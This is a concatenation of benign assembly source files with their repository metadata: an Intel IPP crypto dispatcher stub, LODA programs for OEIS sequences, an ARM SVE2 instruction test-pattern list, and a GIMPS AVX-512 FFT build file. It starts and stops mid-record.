+ 8 = 8(%esp) */ .byte 0x8 /* .uleb128 0x8 */ .byte 0x85 /* DW_CFA_offset, column 0x5 %ebp at CFA + 2 * -4 */ .byte 0x2 /* .uleb128 0x2 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI10-.LCFI9 .byte 0xd /* DW_CFA_def_cfa_register CFA = r5 = %ebp */ .byte 0x5 /* .uleb128 0x5 */ /* End of DW_CFA_xxx CFI instructions. */ .align 4 .LEFDE5:
25.119737
80
0.663297
d31839bba3503e36835ea2969438a8cb670f966f
1,253
asm
Assembly
_build/dispatcher/jmp_ippsHashMethod_SHA256_NI_40d0298a.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
1
2021-10-04T10:21:54.000Z
2021-10-04T10:21:54.000Z
_build/dispatcher/jmp_ippsHashMethod_SHA256_NI_40d0298a.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
null
null
null
_build/dispatcher/jmp_ippsHashMethod_SHA256_NI_40d0298a.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
null
null
null
extern m7_ippsHashMethod_SHA256_NI:function extern n8_ippsHashMethod_SHA256_NI:function extern y8_ippsHashMethod_SHA256_NI:function extern e9_ippsHashMethod_SHA256_NI:function extern l9_ippsHashMethod_SHA256_NI:function extern n0_ippsHashMethod_SHA256_NI:function extern k0_ippsHashMethod_SHA256_NI:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment .data align 8 dq .Lin_ippsHashMethod_SHA256_NI .Larraddr_ippsHashMethod_SHA256_NI: dq m7_ippsHashMethod_SHA256_NI dq n8_ippsHashMethod_SHA256_NI dq y8_ippsHashMethod_SHA256_NI dq e9_ippsHashMethod_SHA256_NI dq l9_ippsHashMethod_SHA256_NI dq n0_ippsHashMethod_SHA256_NI dq k0_ippsHashMethod_SHA256_NI segment .text global ippsHashMethod_SHA256_NI:function (ippsHashMethod_SHA256_NI.LEndippsHashMethod_SHA256_NI - ippsHashMethod_SHA256_NI) .Lin_ippsHashMethod_SHA256_NI: db 0xf3, 0x0f, 0x1e, 0xfa call ippcpSafeInit wrt ..plt align 16 ippsHashMethod_SHA256_NI: db 0xf3, 0x0f, 0x1e, 0xfa mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc] movsxd rax, dword [rax] lea r11, [rel .Larraddr_ippsHashMethod_SHA256_NI] mov r11, qword [r11+rax*8] jmp r11 .LEndippsHashMethod_SHA256_NI:
32.128205
123
0.824421
ffb2522ff589436a933bf0358b3858e1687b18a0
330
asm
Assembly
programs/oeis/199/A199344.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/199/A199344.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/199/A199344.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A199344: Least integer > n having a digital sum larger than that of n. ; 1,2,3,4,5,6,7,8,9,19,11,12,13,14,15,16,17,18,19,29,21,22,23,24,25,26,27,28,29,39,31,32,33,34,35,36,37,38,39,49,41,42,43,44,45,46,47,48,49,59,51,52,53,54,55,56,57,58,59,69,61,62,63,64,65,66,67 mov $1,$0 add $1,1 lpb $1 add $0,9 dif $1,10 lpe add $0,1
30
193
0.642424
2157dbec67519e8905fd5e2ce8f86d610bc65540
10,173
asm
Assembly
test2/test_ptn_asm/instructions_r.asm
csrdxbb/xbyak_aarch64
24ac94f8b0276046934fa7f04432d6b830a44aa6
[ "Apache-2.0" ]
1
2022-02-18T06:34:50.000Z
2022-02-18T06:34:50.000Z
test2/test_ptn_asm/instructions_r.asm
csrdxbb/xbyak_aarch64
24ac94f8b0276046934fa7f04432d6b830a44aa6
[ "Apache-2.0" ]
null
null
null
test2/test_ptn_asm/instructions_r.asm
csrdxbb/xbyak_aarch64
24ac94f8b0276046934fa7f04432d6b830a44aa6
[ "Apache-2.0" ]
null
null
null
rax1 z8.d,z8.d,z8.d rax1 z1.d,z8.d,z8.d rax1 z2.d,z8.d,z8.d rax1 z4.d,z8.d,z8.d rax1 z0.d,z8.d,z8.d rax1 z16.d,z8.d,z8.d rax1 z30.d,z8.d,z8.d rax1 z31.d,z8.d,z8.d rax1 z8.d,z8.d,z8.d rax1 z8.d,z1.d,z8.d rax1 z8.d,z2.d,z8.d rax1 z8.d,z4.d,z8.d rax1 z8.d,z0.d,z8.d rax1 z8.d,z16.d,z8.d rax1 z8.d,z30.d,z8.d rax1 z8.d,z31.d,z8.d rax1 z8.d,z8.d,z8.d rax1 z8.d,z8.d,z1.d rax1 z8.d,z8.d,z2.d rax1 z8.d,z8.d,z4.d rax1 z8.d,z8.d,z0.d rax1 z8.d,z8.d,z16.d rax1 z8.d,z8.d,z30.d rax1 z8.d,z8.d,z31.d rsubhnt z8.b,z8.h,z8.h rsubhnt z1.b,z8.h,z8.h rsubhnt z2.b,z8.h,z8.h rsubhnt z4.b,z8.h,z8.h rsubhnt z0.b,z8.h,z8.h rsubhnt z16.b,z8.h,z8.h rsubhnt z30.b,z8.h,z8.h rsubhnt z31.b,z8.h,z8.h rsubhnt z8.b,z8.h,z8.h rsubhnt z8.b,z1.h,z8.h rsubhnt z8.b,z2.h,z8.h rsubhnt z8.b,z4.h,z8.h rsubhnt z8.b,z0.h,z8.h rsubhnt z8.b,z16.h,z8.h rsubhnt z8.b,z30.h,z8.h rsubhnt z8.b,z31.h,z8.h rsubhnt z8.b,z8.h,z8.h rsubhnt z8.b,z8.h,z1.h rsubhnt z8.b,z8.h,z2.h rsubhnt z8.b,z8.h,z4.h rsubhnt z8.b,z8.h,z0.h rsubhnt z8.b,z8.h,z16.h rsubhnt z8.b,z8.h,z30.h rsubhnt z8.b,z8.h,z31.h rsubhnt z8.h,z8.s,z8.s rsubhnt z1.h,z8.s,z8.s rsubhnt z2.h,z8.s,z8.s rsubhnt z4.h,z8.s,z8.s rsubhnt z0.h,z8.s,z8.s rsubhnt z16.h,z8.s,z8.s rsubhnt z30.h,z8.s,z8.s rsubhnt z31.h,z8.s,z8.s rsubhnt z8.h,z8.s,z8.s rsubhnt z8.h,z1.s,z8.s rsubhnt z8.h,z2.s,z8.s rsubhnt z8.h,z4.s,z8.s rsubhnt z8.h,z0.s,z8.s rsubhnt z8.h,z16.s,z8.s rsubhnt z8.h,z30.s,z8.s rsubhnt z8.h,z31.s,z8.s rsubhnt z8.h,z8.s,z8.s rsubhnt z8.h,z8.s,z1.s rsubhnt z8.h,z8.s,z2.s rsubhnt z8.h,z8.s,z4.s rsubhnt z8.h,z8.s,z0.s rsubhnt z8.h,z8.s,z16.s rsubhnt z8.h,z8.s,z30.s rsubhnt z8.h,z8.s,z31.s rsubhnt z8.s,z8.d,z8.d rsubhnt z1.s,z8.d,z8.d rsubhnt z2.s,z8.d,z8.d rsubhnt z4.s,z8.d,z8.d rsubhnt z0.s,z8.d,z8.d rsubhnt z16.s,z8.d,z8.d rsubhnt z30.s,z8.d,z8.d rsubhnt z31.s,z8.d,z8.d rsubhnt z8.s,z8.d,z8.d rsubhnt z8.s,z1.d,z8.d rsubhnt z8.s,z2.d,z8.d rsubhnt z8.s,z4.d,z8.d rsubhnt z8.s,z0.d,z8.d rsubhnt z8.s,z16.d,z8.d rsubhnt z8.s,z30.d,z8.d rsubhnt z8.s,z31.d,z8.d rsubhnt z8.s,z8.d,z8.d rsubhnt z8.s,z8.d,z1.d rsubhnt z8.s,z8.d,z2.d rsubhnt z8.s,z8.d,z4.d rsubhnt z8.s,z8.d,z0.d rsubhnt z8.s,z8.d,z16.d rsubhnt z8.s,z8.d,z30.d rsubhnt z8.s,z8.d,z31.d rshrnb z8.b,z8.h,(1<<3)-1 rshrnb z1.b,z8.h,(1<<3)-1 rshrnb z2.b,z8.h,(1<<3)-1 rshrnb z4.b,z8.h,(1<<3)-1 rshrnb z0.b,z8.h,(1<<3)-1 rshrnb z16.b,z8.h,(1<<3)-1 rshrnb z30.b,z8.h,(1<<3)-1 rshrnb z31.b,z8.h,(1<<3)-1 rshrnb z8.b,z8.h,(1<<3)-1 rshrnb z8.b,z1.h,(1<<3)-1 rshrnb z8.b,z2.h,(1<<3)-1 rshrnb z8.b,z4.h,(1<<3)-1 rshrnb z8.b,z0.h,(1<<3)-1 rshrnb z8.b,z16.h,(1<<3)-1 rshrnb z8.b,z30.h,(1<<3)-1 rshrnb z8.b,z31.h,(1<<3)-1 rshrnb z8.b,z8.h,(1<<3)-1 rshrnb z8.b,z8.h,1<<1 rshrnb z8.b,z8.h,1<<2 rshrnb z8.h,z8.s,(1<<4)-1 rshrnb z1.h,z8.s,(1<<4)-1 rshrnb z2.h,z8.s,(1<<4)-1 rshrnb z4.h,z8.s,(1<<4)-1 rshrnb z0.h,z8.s,(1<<4)-1 rshrnb z16.h,z8.s,(1<<4)-1 rshrnb z30.h,z8.s,(1<<4)-1 rshrnb z31.h,z8.s,(1<<4)-1 rshrnb z8.h,z8.s,(1<<4)-1 rshrnb z8.h,z1.s,(1<<4)-1 rshrnb z8.h,z2.s,(1<<4)-1 rshrnb z8.h,z4.s,(1<<4)-1 rshrnb z8.h,z0.s,(1<<4)-1 rshrnb z8.h,z16.s,(1<<4)-1 rshrnb z8.h,z30.s,(1<<4)-1 rshrnb z8.h,z31.s,(1<<4)-1 rshrnb z8.h,z8.s,(1<<4)-1 rshrnb z8.h,z8.s,1<<3 rshrnb z8.h,z8.s,1<<2 rshrnb z8.s,z8.d,(1<<5)-1 rshrnb z1.s,z8.d,(1<<5)-1 rshrnb z2.s,z8.d,(1<<5)-1 rshrnb z4.s,z8.d,(1<<5)-1 rshrnb z0.s,z8.d,(1<<5)-1 rshrnb z16.s,z8.d,(1<<5)-1 rshrnb z30.s,z8.d,(1<<5)-1 rshrnb z31.s,z8.d,(1<<5)-1 rshrnb z8.s,z8.d,(1<<5)-1 rshrnb z8.s,z1.d,(1<<5)-1 rshrnb z8.s,z2.d,(1<<5)-1 rshrnb z8.s,z4.d,(1<<5)-1 rshrnb z8.s,z0.d,(1<<5)-1 rshrnb z8.s,z16.d,(1<<5)-1 rshrnb z8.s,z30.d,(1<<5)-1 rshrnb z8.s,z31.d,(1<<5)-1 rshrnb z8.s,z8.d,(1<<5)-1 rshrnb z8.s,z8.d,1<<3 rshrnb z8.s,z8.d,1<<2 rsubhnb z8.b,z8.h,z8.h rsubhnb z1.b,z8.h,z8.h rsubhnb z2.b,z8.h,z8.h rsubhnb z4.b,z8.h,z8.h rsubhnb z0.b,z8.h,z8.h rsubhnb z16.b,z8.h,z8.h rsubhnb z30.b,z8.h,z8.h rsubhnb z31.b,z8.h,z8.h rsubhnb z8.b,z8.h,z8.h rsubhnb z8.b,z1.h,z8.h rsubhnb z8.b,z2.h,z8.h rsubhnb z8.b,z4.h,z8.h rsubhnb z8.b,z0.h,z8.h rsubhnb z8.b,z16.h,z8.h rsubhnb z8.b,z30.h,z8.h rsubhnb z8.b,z31.h,z8.h rsubhnb z8.b,z8.h,z8.h rsubhnb z8.b,z8.h,z1.h rsubhnb z8.b,z8.h,z2.h rsubhnb z8.b,z8.h,z4.h rsubhnb z8.b,z8.h,z0.h rsubhnb z8.b,z8.h,z16.h rsubhnb z8.b,z8.h,z30.h rsubhnb z8.b,z8.h,z31.h rsubhnb z8.h,z8.s,z8.s rsubhnb z1.h,z8.s,z8.s rsubhnb z2.h,z8.s,z8.s rsubhnb z4.h,z8.s,z8.s rsubhnb z0.h,z8.s,z8.s rsubhnb z16.h,z8.s,z8.s rsubhnb z30.h,z8.s,z8.s rsubhnb z31.h,z8.s,z8.s rsubhnb z8.h,z8.s,z8.s rsubhnb z8.h,z1.s,z8.s rsubhnb z8.h,z2.s,z8.s rsubhnb z8.h,z4.s,z8.s rsubhnb z8.h,z0.s,z8.s rsubhnb z8.h,z16.s,z8.s rsubhnb z8.h,z30.s,z8.s rsubhnb z8.h,z31.s,z8.s rsubhnb z8.h,z8.s,z8.s rsubhnb z8.h,z8.s,z1.s rsubhnb z8.h,z8.s,z2.s rsubhnb z8.h,z8.s,z4.s rsubhnb z8.h,z8.s,z0.s rsubhnb z8.h,z8.s,z16.s rsubhnb z8.h,z8.s,z30.s rsubhnb z8.h,z8.s,z31.s rsubhnb z8.s,z8.d,z8.d rsubhnb z1.s,z8.d,z8.d rsubhnb z2.s,z8.d,z8.d rsubhnb z4.s,z8.d,z8.d rsubhnb z0.s,z8.d,z8.d rsubhnb z16.s,z8.d,z8.d rsubhnb z30.s,z8.d,z8.d rsubhnb z31.s,z8.d,z8.d rsubhnb z8.s,z8.d,z8.d rsubhnb z8.s,z1.d,z8.d rsubhnb z8.s,z2.d,z8.d rsubhnb z8.s,z4.d,z8.d rsubhnb z8.s,z0.d,z8.d rsubhnb z8.s,z16.d,z8.d rsubhnb z8.s,z30.d,z8.d rsubhnb z8.s,z31.d,z8.d rsubhnb z8.s,z8.d,z8.d rsubhnb z8.s,z8.d,z1.d rsubhnb z8.s,z8.d,z2.d rsubhnb z8.s,z8.d,z4.d rsubhnb z8.s,z8.d,z0.d rsubhnb z8.s,z8.d,z16.d rsubhnb z8.s,z8.d,z30.d rsubhnb z8.s,z8.d,z31.d rshrnt z8.b,z8.h,(1<<3)-1 rshrnt z1.b,z8.h,(1<<3)-1 rshrnt z2.b,z8.h,(1<<3)-1 rshrnt z4.b,z8.h,(1<<3)-1 rshrnt z0.b,z8.h,(1<<3)-1 rshrnt z16.b,z8.h,(1<<3)-1 rshrnt z30.b,z8.h,(1<<3)-1 rshrnt z31.b,z8.h,(1<<3)-1 rshrnt z8.b,z8.h,(1<<3)-1 rshrnt z8.b,z1.h,(1<<3)-1 rshrnt z8.b,z2.h,(1<<3)-1 rshrnt z8.b,z4.h,(1<<3)-1 rshrnt z8.b,z0.h,(1<<3)-1 rshrnt z8.b,z16.h,(1<<3)-1 rshrnt z8.b,z30.h,(1<<3)-1 rshrnt z8.b,z31.h,(1<<3)-1 rshrnt z8.b,z8.h,(1<<3)-1 rshrnt z8.b,z8.h,1<<1 rshrnt z8.b,z8.h,1<<2 rshrnt z8.h,z8.s,(1<<4)-1 rshrnt z1.h,z8.s,(1<<4)-1 rshrnt z2.h,z8.s,(1<<4)-1 rshrnt z4.h,z8.s,(1<<4)-1 rshrnt z0.h,z8.s,(1<<4)-1 rshrnt z16.h,z8.s,(1<<4)-1 rshrnt z30.h,z8.s,(1<<4)-1 rshrnt z31.h,z8.s,(1<<4)-1 rshrnt z8.h,z8.s,(1<<4)-1 rshrnt z8.h,z1.s,(1<<4)-1 rshrnt z8.h,z2.s,(1<<4)-1 rshrnt z8.h,z4.s,(1<<4)-1 rshrnt z8.h,z0.s,(1<<4)-1 rshrnt z8.h,z16.s,(1<<4)-1 rshrnt z8.h,z30.s,(1<<4)-1 rshrnt z8.h,z31.s,(1<<4)-1 rshrnt z8.h,z8.s,(1<<4)-1 rshrnt z8.h,z8.s,1<<3 rshrnt z8.h,z8.s,1<<2 rshrnt z8.s,z8.d,(1<<5)-1 rshrnt z1.s,z8.d,(1<<5)-1 rshrnt z2.s,z8.d,(1<<5)-1 rshrnt z4.s,z8.d,(1<<5)-1 rshrnt z0.s,z8.d,(1<<5)-1 rshrnt z16.s,z8.d,(1<<5)-1 rshrnt z30.s,z8.d,(1<<5)-1 rshrnt z31.s,z8.d,(1<<5)-1 rshrnt z8.s,z8.d,(1<<5)-1 rshrnt z8.s,z1.d,(1<<5)-1 rshrnt z8.s,z2.d,(1<<5)-1 rshrnt z8.s,z4.d,(1<<5)-1 rshrnt z8.s,z0.d,(1<<5)-1 rshrnt z8.s,z16.d,(1<<5)-1 rshrnt z8.s,z30.d,(1<<5)-1 rshrnt z8.s,z31.d,(1<<5)-1 rshrnt z8.s,z8.d,(1<<5)-1 rshrnt z8.s,z8.d,1<<3 rshrnt z8.s,z8.d,1<<2 raddhnb z8.b,z8.h,z8.h raddhnb z1.b,z8.h,z8.h raddhnb z2.b,z8.h,z8.h raddhnb z4.b,z8.h,z8.h raddhnb z0.b,z8.h,z8.h raddhnb z16.b,z8.h,z8.h raddhnb z30.b,z8.h,z8.h raddhnb z31.b,z8.h,z8.h raddhnb z8.b,z8.h,z8.h raddhnb z8.b,z1.h,z8.h raddhnb z8.b,z2.h,z8.h raddhnb z8.b,z4.h,z8.h raddhnb z8.b,z0.h,z8.h raddhnb z8.b,z16.h,z8.h raddhnb z8.b,z30.h,z8.h raddhnb z8.b,z31.h,z8.h raddhnb z8.b,z8.h,z8.h raddhnb z8.b,z8.h,z1.h raddhnb z8.b,z8.h,z2.h raddhnb z8.b,z8.h,z4.h raddhnb z8.b,z8.h,z0.h raddhnb z8.b,z8.h,z16.h raddhnb z8.b,z8.h,z30.h raddhnb z8.b,z8.h,z31.h raddhnb z8.h,z8.s,z8.s raddhnb z1.h,z8.s,z8.s raddhnb z2.h,z8.s,z8.s raddhnb z4.h,z8.s,z8.s raddhnb z0.h,z8.s,z8.s raddhnb z16.h,z8.s,z8.s raddhnb z30.h,z8.s,z8.s raddhnb z31.h,z8.s,z8.s raddhnb z8.h,z8.s,z8.s raddhnb z8.h,z1.s,z8.s raddhnb z8.h,z2.s,z8.s raddhnb z8.h,z4.s,z8.s raddhnb z8.h,z0.s,z8.s raddhnb z8.h,z16.s,z8.s raddhnb z8.h,z30.s,z8.s raddhnb z8.h,z31.s,z8.s raddhnb z8.h,z8.s,z8.s raddhnb z8.h,z8.s,z1.s raddhnb z8.h,z8.s,z2.s raddhnb z8.h,z8.s,z4.s raddhnb z8.h,z8.s,z0.s raddhnb z8.h,z8.s,z16.s raddhnb z8.h,z8.s,z30.s raddhnb z8.h,z8.s,z31.s raddhnb z8.s,z8.d,z8.d raddhnb z1.s,z8.d,z8.d raddhnb z2.s,z8.d,z8.d raddhnb z4.s,z8.d,z8.d raddhnb z0.s,z8.d,z8.d raddhnb z16.s,z8.d,z8.d raddhnb z30.s,z8.d,z8.d raddhnb z31.s,z8.d,z8.d raddhnb z8.s,z8.d,z8.d raddhnb z8.s,z1.d,z8.d raddhnb z8.s,z2.d,z8.d raddhnb z8.s,z4.d,z8.d raddhnb z8.s,z0.d,z8.d raddhnb z8.s,z16.d,z8.d raddhnb z8.s,z30.d,z8.d raddhnb z8.s,z31.d,z8.d raddhnb z8.s,z8.d,z8.d raddhnb z8.s,z8.d,z1.d raddhnb z8.s,z8.d,z2.d raddhnb z8.s,z8.d,z4.d raddhnb z8.s,z8.d,z0.d raddhnb z8.s,z8.d,z16.d raddhnb z8.s,z8.d,z30.d raddhnb z8.s,z8.d,z31.d raddhnt z8.b,z8.h,z8.h raddhnt z1.b,z8.h,z8.h raddhnt z2.b,z8.h,z8.h raddhnt z4.b,z8.h,z8.h raddhnt z0.b,z8.h,z8.h raddhnt z16.b,z8.h,z8.h raddhnt z30.b,z8.h,z8.h raddhnt z31.b,z8.h,z8.h raddhnt z8.b,z8.h,z8.h raddhnt z8.b,z1.h,z8.h raddhnt z8.b,z2.h,z8.h raddhnt z8.b,z4.h,z8.h raddhnt z8.b,z0.h,z8.h raddhnt z8.b,z16.h,z8.h raddhnt z8.b,z30.h,z8.h raddhnt z8.b,z31.h,z8.h raddhnt z8.b,z8.h,z8.h raddhnt z8.b,z8.h,z1.h raddhnt z8.b,z8.h,z2.h raddhnt z8.b,z8.h,z4.h raddhnt z8.b,z8.h,z0.h raddhnt z8.b,z8.h,z16.h raddhnt z8.b,z8.h,z30.h raddhnt z8.b,z8.h,z31.h raddhnt z8.h,z8.s,z8.s raddhnt z1.h,z8.s,z8.s raddhnt z2.h,z8.s,z8.s raddhnt z4.h,z8.s,z8.s raddhnt z0.h,z8.s,z8.s raddhnt z16.h,z8.s,z8.s raddhnt z30.h,z8.s,z8.s raddhnt z31.h,z8.s,z8.s raddhnt z8.h,z8.s,z8.s raddhnt z8.h,z1.s,z8.s raddhnt z8.h,z2.s,z8.s raddhnt z8.h,z4.s,z8.s raddhnt z8.h,z0.s,z8.s raddhnt z8.h,z16.s,z8.s raddhnt z8.h,z30.s,z8.s raddhnt z8.h,z31.s,z8.s raddhnt z8.h,z8.s,z8.s raddhnt z8.h,z8.s,z1.s raddhnt z8.h,z8.s,z2.s raddhnt z8.h,z8.s,z4.s raddhnt z8.h,z8.s,z0.s raddhnt z8.h,z8.s,z16.s raddhnt z8.h,z8.s,z30.s raddhnt z8.h,z8.s,z31.s raddhnt z8.s,z8.d,z8.d raddhnt z1.s,z8.d,z8.d raddhnt z2.s,z8.d,z8.d raddhnt z4.s,z8.d,z8.d raddhnt z0.s,z8.d,z8.d raddhnt z16.s,z8.d,z8.d raddhnt z30.s,z8.d,z8.d raddhnt z31.s,z8.d,z8.d raddhnt z8.s,z8.d,z8.d raddhnt z8.s,z1.d,z8.d raddhnt z8.s,z2.d,z8.d raddhnt z8.s,z4.d,z8.d raddhnt z8.s,z0.d,z8.d raddhnt z8.s,z16.d,z8.d raddhnt z8.s,z30.d,z8.d raddhnt z8.s,z31.d,z8.d raddhnt z8.s,z8.d,z8.d raddhnt z8.s,z8.d,z1.d raddhnt z8.s,z8.d,z2.d raddhnt z8.s,z8.d,z4.d raddhnt z8.s,z8.d,z0.d raddhnt z8.s,z8.d,z16.d raddhnt z8.s,z8.d,z30.d raddhnt z8.s,z8.d,z31.d
23.824356
26
0.665585
851913389b386b654ed961d168a948bb95d6cabd
1,450
asm
Assembly
programs/oeis/026/A026638.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/026/A026638.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/026/A026638.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A026638: T(2n,n), T given by A026637. ; 1,2,8,26,92,332,1220,4538,17036,64412,244928,935684,3588392,13806704,53271548,206040506,798600332,3101109164,12062148368,46986821516,183276382472,715748620424,2798274135368,10951009023716,42895901012792,168167959150232,659793819847040,2590512228548648,10177779786866336,40012009855878392,157390867419352940,619447096173215162,2439212663327278220,9609536319360759500,37874794053180485360,149342019698404025468,589097800566053156072,2324646946220412736712,9176607499929685663544,36237218553833705191628,143142203823087412096616,565605769361643876394952,2235562844637014697173504,8838548205217125861019448,34953483969918713852932976,138264389946370760128040192,547060979189903343934245464,2165021220922803703855800548,8570089910338046510704504376,33931373433302262098743390712,134371330101695158952847050528,532227617249269098571580134904,2108484963564289213750532124752,8354545106136232567419595453904,33109404184238045110717986800528,131236125703021762608009316181384,520267004479225802736491140607984,2062849396299799214301088649097776,8180404037437424299814056890320192,32444847542763216565850881457879984,128699939489163375622914268553118992,510587930403809887683841384514559752 lpb $0 mov $2,$0 mov $0,0 seq $2,26641 ; Number of nodes of even outdegree (including leaves) in all ordered trees with n edges. mov $1,$2 add $1,$2 sub $1,2 mov $3,$2 min $3,1 lpe add $1,$3 add $1,1 mov $0,$1
85.294118
1,182
0.883448
d7f95a508790a20b14464b3ddfe285a877eb64e2
772
asm
Assembly
oeis/088/A088503.asm
loda-lang/loda-programs
773fe0baed2ca30c72b7faf16c0801749f2e6f9a
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/088/A088503.asm
loda-lang/loda-programs
773fe0baed2ca30c72b7faf16c0801749f2e6f9a
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/088/A088503.asm
loda-lang/loda-programs
773fe0baed2ca30c72b7faf16c0801749f2e6f9a
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A088503: Numbers n such that (n^2 + 3)/4 is prime. ; Submitted by Jon Maiga ; 3,5,7,11,13,17,25,29,31,35,41,43,49,55,67,77,83,101,109,115,119,125,133,139,143,151,155,157,161,179,181,199,203,211,221,223,235,239,263,277,283,287,295,301,307,311,323,325,329,335,337,347,353,377,379,385,389,407,413,419,431,437,463,473,491,493,533,545,557,559,575,577,581,587,619,629,659,665,673,685,689,697,703,715,739,757,763,767,785,791,797,805,809,811,829,833,853,869,871,895 mov $2,$0 pow $2,2 add $2,1 mov $6,1 lpb $2 mov $3,$1 add $5,$1 add $3,$5 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,$6 add $1,1 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 sub $2,1 sub $5,2 lpe div $1,2 mov $0,$1 sub $0,1 mul $0,2 add $0,3
26.62069
381
0.647668
94a84117a5744e4d09acbc25084eb9ebae2b7022
676
asm
Assembly
oeis/125/A125818.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/125/A125818.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/125/A125818.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A125818: a(n) = ((1 + 3*sqrt(2))^n + (1 - 3*sqrt(2))^n)/2. ; Submitted by Jon Maiga ; 1,1,19,55,433,1801,10963,52543,291457,1476145,7907059,40908583,216237169,1127920249,5931872371,31038388975,162918608257,853489829089,4476595998547,23462519091607,123027170158513,644917164874345,3381296222443411,17726184247750687,92934404277039361,487213940765840401,2554312754241349939,13391262501501986695,70205841825106922353,368063146175747618521,1929625603378312917043,10116324691744335348943,53036284640919990287617,278050089041493681507265,1457717016978627197904019,7642285547662646981431543 mov $3,1 lpb $0 sub $0,1 mov $2,$3 mul $2,18 add $3,$1 add $1,$2 lpe mov $0,$3
48.285714
499
0.813609
5a51bc582a0a37c680f1db688330b284c5719bac
1,826
asm
Assembly
gwnum/zr4dwpn2.asm
Kasual/GIMPS
a09c0d4cc1489558725eef0578613c66bd65a708
[ "Intel" ]
null
null
null
gwnum/zr4dwpn2.asm
Kasual/GIMPS
a09c0d4cc1489558725eef0578613c66bd65a708
[ "Intel" ]
null
null
null
gwnum/zr4dwpn2.asm
Kasual/GIMPS
a09c0d4cc1489558725eef0578613c66bd65a708
[ "Intel" ]
null
null
null
; Copyright 2011-2019 Mersenne Research, Inc. All rights reserved ; Author: George Woltman ; Email: woltman@alum.mit.edu ; ; Assemble the AVX-512 radix-4/8 DJB FFT with delayed sin/cos multiplies and partial normalization. ; TITLE setup zfft_type TEXTEQU <r4dwpn> INCLUDE unravel.mac INCLUDE extrn.mac INCLUDE zarch.mac INCLUDE zbasics.mac INCLUDE zmult.mac INCLUDE zr4.mac INCLUDE zr4dwpnpass1sc.mac INCLUDE zr4dwpnpass2.mac _TEXT SEGMENT ;; Generate real and complex pass 2 routines optimized for this architecture buildfor SKX, zpass2gen 64 buildfor SKX, zpass2gen 320 buildfor SKX, zpass2gen 384 buildfor SKX, zpass2gen 448 buildfor SKX, zpass2gen 512 buildfor SKX, zpass2gen 640 buildfor SKX, zpass2gen 768 buildfor SKX, zpass2gen 1024 buildfor SKX, zpass2gen 1600 buildfor SKX, zpass2gen 1920 buildfor SKX, zpass2gen 2240 buildfor SKX, zpass2gen 2304 buildfor SKX, zpass2gen 2560 buildfor SKX, zpass2gen 2688 buildfor SKX, zpass2gen 3072 buildfor SKX, zpass2gen 3136 buildfor SKX, zpass2gen 3200 buildfor SKX, zpass2gen 3584 buildfor SKX, zpass2gen 3840 buildfor SKX, zpass2gen 4096 buildfor SKX, zpass2gen 4480 buildfor SKX, zpass2gen 4608 buildfor SKX, zpass2gen 5120 buildfor SKX, zpass2gen 5376 buildfor SKX, zpass2gen 6144 buildfor SKX, zpass2gen 6400 buildfor SKX, zpass2gen 7168 buildfor SKX, zpass2gen 7680 buildfor SKX, zpass2gen 8192 buildfor SKX, zpass2gen 9216 buildfor SKX, zpass2gen 10240 buildfor SKX, zpass2gen 12288 buildfor SKX, zpass2gen 12800 buildfor SKX, zpass2gen 15360 buildfor SKX, zpass2gen 16384 buildfor SKX, zpass2gen 17920 buildfor SKX, zpass2gen 18432 buildfor SKX, zpass2gen 20480 buildfor SKX, zpass2gen 21504 buildfor SKX, zpass2gen 24576 buildfor SKX, zpass2gen 25088 buildfor SKX, zpass2gen 28672 buildfor SKX, zpass2gen 30720 buildfor SKX, zpass2gen 32768 _TEXT ENDS END
25.361111
99
0.817634
af06d1069ede6421d71b4c4f9674319304a1408e
716
asm
Assembly
oeis/041/A041039.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/041/A041039.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/041/A041039.asm
neoneye/loda-programs
